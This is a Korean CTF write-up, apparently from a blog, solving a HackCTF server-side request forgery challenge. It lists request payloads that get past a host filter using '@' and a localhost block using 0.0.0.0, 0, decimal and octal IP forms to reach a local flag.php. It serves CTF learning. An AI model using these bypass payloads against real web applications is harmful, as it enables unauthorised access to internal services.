문제에 접근하면 /flag.php에 접근하는데 "you are not local"이라고 뜬다.
로컬로 접근하면 되는 것인가 하여 X-Forwarded-For로 접근을 해보았지만 가능하지 않았다.
밑에 링크를 클릭하면 다음과 같이 Search user 페이지가 뜨며, 여기서 user에 문자열 입력 후 [제출]을 클릭하면 op.gg 페이지에서 해당 문자열에 대해 유저를 검색한다.
해당 요청을 잘 보면 POST 방식으로 다음과 같이 요청을 보낸다.
query=rootable&url=http%3A%2F%2Fwww.op.gg%2Fsummoner%2FuserName%3D
여기서 url 부분에 op.gg가 있는 것을 보아 다른 페이지에도 접근이 가능한지 google.com을 이용해보았다.
하지만, 이에 필터링에 의해 응답으로 "Nonononononono~"가 출력되었고 이는 간단히 @를 이용하여 우회할 수 있었다.
아래와 같이 요청을 보내 google.com에 접근이 가능함을 확인하였다.
query=/&url=http://www.op.gg@google.com
이제 로컬의 flag.php에 접근하기 위해 로컬 IP로 변조하여 아래와 같이 요청하였다.
query=/flag.php&url=http://www.op.gg@127.0.0.1
하지만 이에 대한 응답으로 Nop이라고 왔고, 127.0.0.1, localhost에 대해 필터링이 되어있음을 알 수 있었다.
이를 우회하기 위해 나는 0.0.0.0을 이용하였다.
flag.php에 접근하기 위한 요청은 다음과 같다.
query=/flag.php&url=http://www.op.gg@0.0.0.0
추가적으로 다음과 같은 쿼리로도 FLAG 획득이 가능하다.
query=/flag.php&url=http://www.op.gg@0
query=/flag.php&url=http://www.op.gg@2130706433 (2130706433은 127.0.0.1을 IP Decimal 형태로 변환한 것)
query=/flag.php&url=http://www.op.gg@0177.0.0.1 ( 0177은 8진법으로 나타낸 127 )
참고 )
https://www.ipaddressguide.com/ip
https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
'Solve Problem > HackCTF' 카테고리의 다른 글
[HackCTF] Secret Document (0) | 2018.12.31 |
---|---|
[HackCTF] No Password (0) | 2018.12.30 |
[HackCTF] 가위바위보 (0) | 2018.12.28 |
[HackCTF] Secure Login (0) | 2018.12.02 |